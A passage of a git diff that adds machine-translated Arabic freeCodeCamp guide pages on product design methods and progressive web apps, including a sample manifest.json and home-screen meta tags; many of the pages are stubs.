+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/customer-journey-maps/index.md b/client/src/guide/arabic/product-design/customer-journey-maps/index.md
new file mode 100644
index 0000000000..688c957338
--- /dev/null
+++ b/client/src/guide/arabic/product-design/customer-journey-maps/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Journey Maps
+localeTitle: خرائط رحلة العملاء
+---
+## خرائط رحلة العملاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/customer-journey-maps/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/data-driven-design/index.md b/client/src/guide/arabic/product-design/data-driven-design/index.md
new file mode 100644
index 0000000000..957965c6d3
--- /dev/null
+++ b/client/src/guide/arabic/product-design/data-driven-design/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Driven Design
+localeTitle: تصميم يحركه البيانات
+---
+## تصميم يحركه البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/data-driven-design/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/defining-brands/index.md b/client/src/guide/arabic/product-design/defining-brands/index.md
new file mode 100644
index 0000000000..64f1c649a6
--- /dev/null
+++ b/client/src/guide/arabic/product-design/defining-brands/index.md
@@ -0,0 +1,11 @@
+---
+title: Defining Brands
+localeTitle: تعريف العلامات التجارية
+---
+## تعريف العلامات التجارية
+
+المصمم لا يمكنه "صنع" علامة تجارية. أو تصميم علامة تجارية. يقوم المصممون بتصميم هوية العلامة التجارية التي تعكس العلامة التجارية.
+
+العلامة التجارية نفسها يجب أن تأتي من الشركة. من استراتيجية علامتهم التجارية.
+
+ما هي بعض من قيمها الأساسية؟ لأجل ماذا هم واقفون؟ ما الذي يجعل منتجهم فريدًا؟ ما هي نقطة البيع الفريدة الخاصة بهم؟ من هم عملاءهم المستهدفون؟ تشكل مثل هذه الأسئلة أساسًا لاستراتيجية العلامة التجارية ، ويجب تأسيسها داخل الشركة في المقام الأول. تبني وكالة تصميم أو تصميم أساس العلامة التجارية ، أو يتم إدخالها لتعزيز الهوية البصرية والتجارية للعلامة التجارية
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/diary-studies/index.md b/client/src/guide/arabic/product-design/diary-studies/index.md
new file mode 100644
index 0000000000..ab5a268bb9
--- /dev/null
+++ b/client/src/guide/arabic/product-design/diary-studies/index.md
@@ -0,0 +1,17 @@
+---
+title: Diary Studies
+localeTitle: دراسات يوميات
+---
+## دراسات يوميات
+
+يتم استخدام الدراسات يوميات كطريقة طويلة الأجل لجمع المعلومات من المشاركين بالمستخدم. يمكن أن تسجل يوميات الأفكار والمشاعر والسلوكيات في حياة المشارك. يمكن استخدام هذه المعلومات من قبل المصممين كطريقة للبحث الاستكشافي وتوليد الأفكار.
+
+يتم إعطاء المشاركين المشاركين مجلة فارغة ، والتي يجب أن تبقى معهم قدر الإمكان. بدلا من ذلك ، يمكن استخدام مجلة على الانترنت. يجب إخطار المشاركين بموضوع الاهتمام ، لذا فإن مدخلات اليوميات تكون خاصة بالموضوع المحدد. يمكن توجيه المشاركين لكتابة إدخالات عندما يكونون في مواقف معينة ، أو الانخراط في سلوك معين ، أو التفاعل مع منتجات معينة. يمكن أيضًا إرشادك لكتابة الإدخالات في أوقات معينة من اليوم أو الأسبوع أو الشهر.
+
+يمكن أن تتكون إدخالات اليوميات من أي شيء - النص والرسومات والرسومات والرموز والصور وحتى الملصقات. يجب أن يسترشد كل إدخال بموجه أو فكرة.
+
+بمجرد جمعها ، يمكن للباحثين تحليل مدخلات اليوميات وكشف الأنماط الأساسية بين المشاركين. يمكن استخدام المعلومات التي يتم جمعها لإلهام المصممين ، بالإضافة إلى توفير نظرة ثاقبة للقيود المحتملة لأي تصميمات محتملة.
+
+#### اقتباسات
+
+مارتن ، بيلا ، وبروس م. هانينجتون. طرق عالمية للتصميم 100 طريقة للبحث عن المشاكل المعقدة ، وتطوير الأفكار المبتكرة ، وتصميم حلول فعالة. ناشري روكبورت ، 2012.
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/empathy-maps/index.md b/client/src/guide/arabic/product-design/empathy-maps/index.md
new file mode 100644
index 0000000000..16e5f9b8ff
--- /dev/null
+++ b/client/src/guide/arabic/product-design/empathy-maps/index.md
@@ -0,0 +1,13 @@
+---
+title: Empathy Maps
+localeTitle: التعاطف الخرائط
+---
+## التعاطف الخرائط
+
+تعد خرائط Empathy أداة هامة لاستخدامها لإدخال العملاء وإضفاء طابع إنساني عليهم عند تقديم أبحاث المستخدمين. يتم استخدامها داخليًا لإنشاء فهم أعمق للعملاء.
+
+تقدم خريطة التعاطف النموذجية معلومات أساسية عن الشخص الذي تمت مقابلته وتفصل الأبحاث بشكل مرئي إلى أربعة أقسام - ما يفكر به المستخدمون ويفعلونه ويشعرون به ويشعرون به. أدناه مثال. ![نص بديل](https://www.webtexttool.com/wp-content/uploads/2015/05/The-Empathy-Map.png)
+
+#### معلومات اكثر:
+
+[كيفية استخدام Persona التعاطف الخرائط](https://uxmag.com/articles/how-to-use-persona-empathy-mapping) [تصميم التفكير: التعاطف الخرائط](https://uxdict.io/design-thinking-empathy-map-c69ab5d6b22)
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/feature-analysis/index.md b/client/src/guide/arabic/product-design/feature-analysis/index.md
new file mode 100644
index 0000000000..563ecf1d8b
--- /dev/null
+++ b/client/src/guide/arabic/product-design/feature-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Analysis
+localeTitle: تحليل الميزة
+---
+## تحليل الميزة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/feature-analysis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/feature-matrix/index.md b/client/src/guide/arabic/product-design/feature-matrix/index.md
new file mode 100644
index 0000000000..58b49f53c9
--- /dev/null
+++ b/client/src/guide/arabic/product-design/feature-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Matrix
+localeTitle: ميزة المصفوفة
+---
+## ميزة المصفوفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/feature-matrix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/heuristic-review/index.md b/client/src/guide/arabic/product-design/heuristic-review/index.md
new file mode 100644
index 0000000000..f2f047b9f1
--- /dev/null
+++ b/client/src/guide/arabic/product-design/heuristic-review/index.md
@@ -0,0 +1,17 @@
+---
+title: Heuristic Review
+localeTitle: استعراض الكشف عن مجريات الأمور
+---
+## استعراض الكشف عن مجريات الأمور
+
+تتمحور المراجعة الإرشادية حول مجموعة من الأساليب البحثية: أفضل الممارسات التي يتفق عليها خبراء الصناعة. في مراجعة إرشادية ، سيحكم المقيم على التصميم ضد مجموعة معينة من الاستدلال ، ويحاول تحديد أي مشكلات في التصميم قبل توظيف المستخدمين الفعليين لاختبار التصميم. على سبيل المثال ، إلقاء نظرة على [الاستدلال 10 Usability جاكوب نيلسن](https://www.nngroup.com/articles/ten-usability-heuristics/) .
+
+يمكن إجراء مراجعة الكشف عن مجريات الأمور بواسطة أي شخص. من المرجح أن يحدد أحد خبراء الصناعة المزيد من المشكلات أكثر من المبتدئين ، ولكن يمكن للمبتدئ استخدام هذه الطريقة بنفس السهولة. علاوة على ذلك ، يمكن لمجموعة من المقيِّمين تحديد مجموعة فرعية فريدة من القضايا ؛ معا تشكيل مجموعة أكبر من القضايا مقارنة مع المبتدئ واحد.
+
+عند إجراء مراجعة تجريبية ، يجب على المقيم أن يهتم بالبحث فقط عن القضايا المتعلقة بمجموعة الاستدلال. لا توفر هذه الطريقة بالضرورة أي اختراقات تصميم ، ولكنها توفر طريقة سريعة وفعالة لكشف القطع المفقودة الحرجة في التصميم.
+
+يجب أن تتم المراجعة الإرشادية عندما تتوفر نماذج بالأحجام منخفضة الدقة ، والتي يمكن أن تؤدي إلى تصميمات أفضل وأكثر تفصيلاً والتي يمكن أن تظهر للمستخدمين الحقيقيين.
+
+#### اقتباسات
+
+مارتن ، بيلا ، وبروس م. هانينجتون. طرق عالمية للتصميم 100 طريقة للبحث عن المشاكل المعقدة ، وتطوير الأفكار المبتكرة ، وتصميم حلول فعالة. ناشري روكبورت ، 2012.
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/hypotheses-and-validating-assumptions/index.md b/client/src/guide/arabic/product-design/hypotheses-and-validating-assumptions/index.md
new file mode 100644
index 0000000000..ebb0c41474
--- /dev/null
+++ b/client/src/guide/arabic/product-design/hypotheses-and-validating-assumptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Hypotheses and Validating Assumptions
+localeTitle: الفرضيات و صحة الافتراضات
+---
+## الفرضيات و صحة الافتراضات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/hypotheses-and-validating-assumptions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/index.md b/client/src/guide/arabic/product-design/index.md
new file mode 100644
index 0000000000..9cbdfe309f
--- /dev/null
+++ b/client/src/guide/arabic/product-design/index.md
@@ -0,0 +1,7 @@
+---
+title: Product Design
+localeTitle: تصميم المنتج
+---
+## تصميم المنتج
+
+في هذا القسم ، سيكون لدينا أدلة لمجموعة واسعة من الأدوات والأساليب المستخدمة من قبل مصممي المنتجات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/landing-page-testing/index.md b/client/src/guide/arabic/product-design/landing-page-testing/index.md
new file mode 100644
index 0000000000..aaabf6a293
--- /dev/null
+++ b/client/src/guide/arabic/product-design/landing-page-testing/index.md
@@ -0,0 +1,7 @@
+---
+title: Landing Page Testing
+localeTitle: اختبار الصفحة المقصودة
+---
+## اختبار الصفحة المقصودة
+
+تشير الصفحة المقصودة ، كما يقول اسمها ، إلى أن المكان الذي ينزل فيه الزائر يثير اهتمامه. المطار هو أول مكان تراه عند السفر إلى مكان آخر بالطائرة ، أليس كذلك؟ تعمل الصفحة المقصودة بنفس الطريقة ، وتتمثل مهمتك في إنشاء أفضل تجربة لهؤلاء الزائرين ، مما يؤدي بهم إلى الاشتراك في مراسلاتك أو شراء خدمة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/qualitative-testing/index.md b/client/src/guide/arabic/product-design/qualitative-testing/index.md
new file mode 100644
index 0000000000..85e3ebc928
--- /dev/null
+++ b/client/src/guide/arabic/product-design/qualitative-testing/index.md
@@ -0,0 +1,29 @@
+---
+title: Qualitative Testing
+localeTitle: اختبار نوعي
+---
+## اختبار نوعي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/qualitative-testing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+يشمل الاختبار النوعي مجموعة من الأنشطة المستخدمة لتحديد جودة النظام.
+
+في المصطلحات البرمجية ، يستخدم خبير النطاق ، مثل: Test Engineer أو User Researcher ، تقنيات متنوعة لتحديد الجودة المدركة للحل.
+
+هذه التقنيات قد تشمل:
+
+### مقابلات المستخدم
+
+يقوم الباحث بإجراء مقابلات مع الأشخاص المناسبين للشخص المستهدف ، ويطرح عليهم أسئلة متنوعة تتعلق بفهمهم وتقديرهم للنظام المعني ، مع الحد الأدنى من الإعداد. يتم إعطاء المستخدم مقدمة وقد يُطلب منه ببساطة محاولة استخدام النظام. خلال هذه العملية ، يلاحظ الباحث ردود المستخدم الواضحة وكذلك الردود الضمنية من خلال ملاحظة نغمة الاستجابة أو لغة الجسد أو التهيج أو البهجة.
+
+### الدراسات الاستقصائية
+
+في حين تستخدم الدراسات الاستقصائية عمومًا لتحديد المعلومات الإحصائية (أو ملاءمتها) ، فقد تحتوي على أسئلة مفتوحة ، يقوم الباحث بعد ذلك بتحليلها لتحديد إدراك المستخدم.
+
+### الحكم الشخصي
+
+قد يعطي خبير النطاق أيضًا تعليقات نوعية مباشرة استنادًا إلى خبرته ، على سبيل المثال ، قد يرى مصمم واجهة المستخدم بوضوح أن موضوع الألوان على موقع الويب يخلق تنافرًا معرفيًا. هذه التعليقات هي جزء قيم جدًا من الاختبارات النوعية.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/quantitative-testing/index.md b/client/src/guide/arabic/product-design/quantitative-testing/index.md
new file mode 100644
index 0000000000..bc36333d2b
--- /dev/null
+++ b/client/src/guide/arabic/product-design/quantitative-testing/index.md
@@ -0,0 +1,28 @@
+---
+title: Quantitative Testing
+localeTitle: الاختبار الكمي
+---
+## الاختبار الكمي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/quantitative-testing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+الاختبار الكمي يعني الاختبار من أجل تحديد وتيرة وحجم وتكرار فرضية معينة أو ظاهرة معينة.
+
+من الناحية البرمجية ، يمكن للعديد من أي مما يلي (على سبيل المثال لا الحصر):
+
+*   النسبة المئوية للمستخدمين الفريدين الذين يتخذون إجراءً معينًا على موقعك / واجهة موقعك
+*   عدد مرات تعطل تطبيقك
+*   متوسط ​​وقت الاستجابة لخادمك لطلب محدد من خلال عدد محدد من المستخدمين
+*   العدد الإجمالي للطلبات التي يمكن لخادمك التعامل معها قبل أن يبدأ وقت الاستجابة في التراجع
+
+على هذا النحو يمكن إجراء الاختبار الكمي داخل أي من أنشطة اختبار المظلة التالية:
+
+### اختبار A / B
+
+### اختبار أداء
+
+### اختبار الحمل
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/storyboards/index.md b/client/src/guide/arabic/product-design/storyboards/index.md
new file mode 100644
index 0000000000..738e62a96f
--- /dev/null
+++ b/client/src/guide/arabic/product-design/storyboards/index.md
@@ -0,0 +1,21 @@
+---
+title: Storyboards
+localeTitle: القصص المصورة
+---
+## القصص المصورة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/storyboards/index.md) .
+
+المزيد من المساهمات موضع ترحيب.
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### القصص القصيرة Chatbot
+
+التدفق التحادثي: يشير إلى الخطوات التي يجب اتخاذها لتنظيم الحوار من أجل وكلاء المحادثة.
+
+#### Chatbot رواية القصص
+
+كيفية إنشاء عنصر تحكيمي محدد للنطاق يعتمد على قصة مستخدم (مثل الصحة والتعليم والتجارة الإلكترونية)
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/testing-our-assumptions/index.md b/client/src/guide/arabic/product-design/testing-our-assumptions/index.md
new file mode 100644
index 0000000000..d62a165326
--- /dev/null
+++ b/client/src/guide/arabic/product-design/testing-our-assumptions/index.md
@@ -0,0 +1,15 @@
+---
+title: Testing Our Assumptions
+localeTitle: اختبار الافتراضات لدينا
+---
+## اختبار الافتراضات لدينا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/testing-our-assumptions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### اختبار قابلية الاستخدام الأولي:
+
+كيفية اختبار الفكرة مع المستخدمين قبل بدء مرحلة التصميم. يتم ذلك عادة باستخدام الرسومات الورقية. مزيد من الموارد هنا: https://www.usertesting.com/blog/2015/05/13/31-questions-every-designer-should-ask-when-testing-prototypes/
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/understanding-competitors/index.md b/client/src/guide/arabic/product-design/understanding-competitors/index.md
new file mode 100644
index 0000000000..7f92a6c133
--- /dev/null
+++ b/client/src/guide/arabic/product-design/understanding-competitors/index.md
@@ -0,0 +1,31 @@
+---
+title: Understanding Competitors
+localeTitle: فهم المنافسين
+---
+## فهم المنافسين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/understanding-competitors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+يتكون تحليل المنافسين من الأنشطة التي تقارن الحل أو الفكرة مع ما تم تطويره من قبل المنافسين الحاليين أو المحتملين. يعد هذا تمرينًا قيمًا جدًا يساعد على فهم وضع السوق وتوقعات المنتج وقد يكشف المزيد من أفكار المنتجات. وبصرف النظر عن معرفة منافسيك ، فإن السبب الرئيسي لتحليل المنافسين هو اكتشاف نقاط البيع الفريدة الخاصة بك.
+
+قد يتضمن تحليل المنافسين الممارسات التالية:
+
+### مقارنة ميزة
+
+واحد من أهم وأهم أجزاء تحليل منافس هو ميزة مقارنة. سيخبرك هذا التمرين ما إذا كنت أنت ومنافسك يقدمان نفس الميزات أو أكثر أو أقل منها. يمكنك أيضًا النظر في أهمية هذه الميزات لمعرفة ما إذا كنت على قدم المساواة عندما يتعلق الأمر بالميزات الأساسية. علاوة على ذلك ، يمكنك النظر في اكتمال عروضك مقابل منافسيك.
+
+### المقارنات النوعية
+
+هنا يمكنك النظر في سهولة استخدام الميزات وكيف يتم تقديمها. قد ترى أنه في حين أن منافسك يوفر نفس الميزات التي لديك ، فقد تكون وثائقه أعلى بكثير ، مما يجعل عروضه أكثر جاذبية للعملاء (إن وجدت). إذا كنت تقارن تطبيقات الجوال ، فقد يكون أحد العوامل المميزة هو تجربة المستخدم. على سبيل المثال ، فكر في الملاحظة التي تأخذ التطبيق الذي تستخدمه على هاتفك مقارنة بالمستخدم الذي لا تستخدمه. معظم ملاحظة أخذ التطبيقات لها وظيفة مماثلة ولكن سهولة الاستخدام يجعل حفنة منهم ضربة ، في حين آلاف التطبيقات المشابهة لا.
+
+### مقارنات التسعير والتوزيع
+
+من المهم أن ترى كيف يقوم المنافس بتسعير عروضه. هذا لا يخبرك فقط كيف قد تضطر إلى تسعير المنتج الخاص بك ، قد تعطيك أيضا نظرة قيمة على ما هي الأسعار المقبولة للعملاء. يمكنك أيضًا البحث عن المزيد ومعرفة ما إذا كان المنافس يقدم تطبيقه على إصدار تجريبي مجاني أو ميزات مجانية مع ميزات مدفوعة أو مدفوعة فقط. هل يذهبون مع خيار دعوة فقط ، خلق شعور من التفرد ، أو أنها يمكن الوصول إليها بحرية للجميع؟ هل يذهب منافسك مباشرة إلى العملاء النهائيين أم أنهم يعملون عن طريق البائعين؟ هذه كلها مؤشرات جيدة تجاه واقع السوق.
+
+#### ملخص
+
+باختصار ، يساعدك تحليل المنافسين على فهم السوق ويعطيك معلومات يمكن من خلالها وضع منتجك بشكل أفضل.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/product-design/usability-testing/index.md b/client/src/guide/arabic/product-design/usability-testing/index.md
new file mode 100644
index 0000000000..5b07a845de
--- /dev/null
+++ b/client/src/guide/arabic/product-design/usability-testing/index.md
@@ -0,0 +1,21 @@
+---
+title: Usability Testing
+localeTitle: اختبار قابلية الاستخدام
+---
+## اختبار قابلية الاستخدام
+
+يسمح اختبار قابلية الاستخدام للمصمم بتقييم كيفية تفاعل المستخدمين الحقيقيين مع تصميماتهم. سيكشف المصممون عن مناطق التصميم التي تحبط أو تربك المستخدمين أكثر ، ويمكن تحديد أولويات هذه المشكلات. كما سيكشف المصممون عن الأنظار في التصميم ، حيث يشعر المستخدمون بالدهشة أو السعادة.
+
+تم تصميم اختبارات قابلية الاستخدام حول السيناريوهات التي يتوقعها المصممون لتكون سيناريوهات "نموذجية". ستشمل هذه السيناريوهات مهام ، وهي إجراءات ملموسة يمكن القيام بها مع التصميم. يجب أن ترتبط المهام مباشرة بالأهداف الفعلية للمستخدمين المستهدفين. يجب على المصممين توخي الحذر وعدم تحيز المستخدمين من خلال صياغة المواقف أو المهام.
+
+عادةً ما يتم تصميم اختبارات قابلية الاستخدام حول تقنية "بروتوكول تفكير بصوت عال" ، حيث سيحدد المستخدم تصرفاته وأفكاره أثناء تفاعله مع التصميم.
+
+يجب على المصممين الانتباه إلى المشكلات المحتملة التالية:
+
+1) يفهم المستخدم المهمة ، لكن لا يمكنه إكمالها في الوقت المناسب 2) يعبر المستخدم عن دهشته أو فرحته 3) المستخدم يعبر عن الإحباط أو الارتباك 4) يشير المستخدم إلى شيء لا معنى له 5) يقترح المستخدم تغيير في التصميم
+
+من المهم أيضًا أن نتذكر أنه مع المزيد من المشاركين ، سيتم اكتشاف المزيد من المشكلات من خلال اختبار قابلية الاستخدام. قد يكون من المفيد أيضًا تسجيل وجوه المشاركين وصوتهم ، بالإضافة إلى الشاشة وأي مكابس للأصابع في تطبيق جوال ، إن أمكن.
+
+#### اقتباسات
+
+مارتن ، بيلا ، وبروس م. هانينجتون. طرق عالمية للتصميم 100 طريقة للبحث عن المشاكل المعقدة ، وتطوير الأفكار المبتكرة ، وتصميم حلول فعالة. ناشري روكبورت ، 2012.
\ No newline at end of file
diff --git a/client/src/guide/arabic/progressive-web-apps/add-to-homescreen/index.md b/client/src/guide/arabic/progressive-web-apps/add-to-homescreen/index.md
new file mode 100644
index 0000000000..4ae09af369
--- /dev/null
+++ b/client/src/guide/arabic/progressive-web-apps/add-to-homescreen/index.md
@@ -0,0 +1,133 @@
+---
+title: Add To Homescreen
+localeTitle: أضف إلى الشاشة الرئيسية
+---
+## أضف إلى الشاشة الرئيسية
+
+هنا يركّز إعلان تثبيت تطبيق الويب على تطبيق الويب ، مع ميزة إضافة إلى الشاشة الرئيسية.
+
+### دعم المستعرض لإضافة إلى الشاشة الرئيسية
+
+يتم دعم وظيفة "إضافة الشاشة الرئيسية" حاليًا من خلال:
+
+*   كروم
+*   iOS سفاري
+
+يمكنك الاطلاع على أحدث حالة لدعم المتصفح لهذه الميزة [هنا](https://caniuse.com/#feat=web-app-manifest) .
+
+### على Android
+
+على Android ، يظهر شعار "الإضافة إلى الشاشة الرئيسية" تلقائيًا إذا كنت تستوفي متطلبات معينة. هذا ما يجب أن يبدو عليه على Android:
+
+| أضف إلى الشاشة الرئيسية السريعة عند إطلاق التطبيق | | : ----------------------: | : ---------------: | | ![prompt](https://user-images.githubusercontent.com/15358452/31663686-860779f0-b375-11e7-85c9-1387d9b3bfcf.png "إضافة إلى الشاشة الرئيسية على الروبوت") | ![launch](https://user-images.githubusercontent.com/15358452/31663690-89b0d998-b375-11e7-8a84-f3e33be9a2c2.png "إطلاق من الشاشة الرئيسية") |
+
+#### المتطلبات
+
+*   تضمين ملف `manifest.json` مع الخصائص التالية:
+*   `short name`
+*   `name`
+*   `192x192` حجم أيقونة `png`
+*   `start_url`
+*   تشمل عامل خدمة مسجل ومسجل
+*   عرض موقع الويب عبر HTTPS (لا يزال بإمكانك تجربة ذلك باستخدام localhost بدون HTTPS)
+*   يلتقي موقع الويب مع أساليب البحث المعرفي التي حددها Chrome
+
+#### الملف manifest.json
+
+ `{ 
+  "name": "FreeCodeCamp", 
+  "short_name": "FreeCodeCamp", 
+  "theme_color": "#00FF00", 
+  "background_color": "#00FF00", 
+  "display": "standalone", 
+  "Scope": "/", 
+  "start_url": "/", 
+  "icons": [ 
+    { 
+      "src": "assets/images/icons/icon-72x72.png", 
+      "sizes": "72x72", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-96x96.png", 
+      "sizes": "96x96", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-128x128.png", 
+      "sizes": "128x128", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-144x144.png", 
+      "sizes": "144x144", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-152x152.png", 
+      "sizes": "152x152", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-192x192.png", 
+      "sizes": "192x192", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-384x384.png", 
+      "sizes": "384x384", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-512x512.png", 
+      "sizes": "512x512", 
+      "type": "image/png" 
+    } 
+  ], 
+  "splash_pages": null 
+ } 
+` 
+
+*   `name` هو اسم تطبيق الويب. (سيتم عرضه في شاشة الإطلاق)
+*   `short name` هو `short name` القصير لتطبيق الويب. (سيتم عرضه أسفل رمز قائمة الهاتف)
+*   `theme_color` هو لون الجزء العلوي من المستعرض.
+*   `background_color` هو لون خلفية شاشة الإطلاق.
+*   `display` هو الطريقة التي ينبغي تطبيق الويب العرض أطلقت مرة واحدة على الهاتف.
+*   تحدد `start_url` عنوان url الخاص بموقع الويب.
+*   `icons` عبارة عن مصفوفة تقوم بتخزين كل موقع الصور وأحجامها ونوعها.
+
+### على الأجهزة الأخرى
+
+على الرغم من أن هذه الطريقة لا تعمل على نظامي التشغيل iOS و Windows ، فهناك طريقة احتياطية.
+
+**دائرة الرقابة الداخلية**
+
+على نظام التشغيل iOS ، يجب إضافة زر "إضافة إلى الشاشة الرئيسية" يدويًا. أضف علامات meta tag التالية إلى قسم الرأس في HTML لدعم رمز تطبيق iOS على الويب.
+
+ `
+<meta name="apple-mobile-web-app-capable" content="yes"> 
+ <meta name="apple-mobile-web-app-status-bar-style" content="green"> 
+ <meta name="apple-mobile-web-app-title" content="FreeCodeCamp"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-72x72.png" sizes="72x72"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-96x96.png" sizes="96x96"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-128x128.png" sizes="128x128"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-144x144.png" sizes="144x144"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-152x152.png" sizes="152x152"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-192x192.png" sizes="192x192"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-384x384.png" sizes="384x384"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-512x512.png" sizes="512x512"> 
+` 
+
+**شبابيك**
+
+على هاتف Windows ، أضف علامات meta التالية إلى قسم الرأس في HTML:
+
+ `
+<meta name="msapplication-TileImage" content="/assets/images/icons/icon-144x144.png"> 
+ <meta name="msapplication-TileColor" content="green"> 
+` 
+
+### المراجع
+
+1.  [superoo7 ، "نظرة عالية المستوى لتطبيق الويب التقدمي" تم النشر في: 18 كانون الأول 2017.](https://steemit.com/web/@superoo7/a-high-level-view-of-progressive-web-app)
+2.  [مات جاونت وبول كينلان ، "لافتات تثبيت تطبيق الويب" تم النشر في: 14 من تشرين الثاني 2017.](https://developers.google.com/web/fundamentals/app-install-banners/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/progressive-web-apps/app-shell/index.md b/client/src/guide/arabic/progressive-web-apps/app-shell/index.md
new file mode 100644
index 0000000000..69e9e53f5c
--- /dev/null
+++ b/client/src/guide/arabic/progressive-web-apps/app-shell/index.md
@@ -0,0 +1,13 @@
+---
+title: App Shell
+localeTitle: تطبيق Shell
+---
+## تطبيق Shell
+
+هذا هو كعب.
+
+[ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/progressive-web-apps/app-shell/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر
\ No newline at end of file
diff --git a/client/src/guide/arabic/progressive-web-apps/index.md b/client/src/guide/arabic/progressive-web-apps/index.md
new file mode 100644
index 0000000000..33780206e7
--- /dev/null
+++ b/client/src/guide/arabic/progressive-web-apps/index.md
@@ -0,0 +1,52 @@
+---
+title: Progressive Web Apps
+localeTitle: تطبيقات الويب التقدمية
+---
+## تطبيقات الويب التقدمية
+
+يبدو أن تطبيقات الويب التقدمية أو "PWA" أكثر من مجرد بدعة ، ولكنها طريقة مختلفة اختلافًا جوهريًا في التعامل مع ما يمكن لموقع ويب ويجب أن يكون على أي نظام أساسي تشاهده منه.
+
+يمكن أن يقوم PWAs بتثبيت أجزاء من نفسها على أجهزة لعرضها في وضع عدم الاتصال ، واستخدام عمال الخدمة لتسليم المحتوى عند الحاجة عندما يكون الاتصال متاحًا ، وأفضل شيء هو توحيد وظائف معينة بين الأجهزة المحمولة وأجهزة سطح المكتب.
+
+### الميزات
+
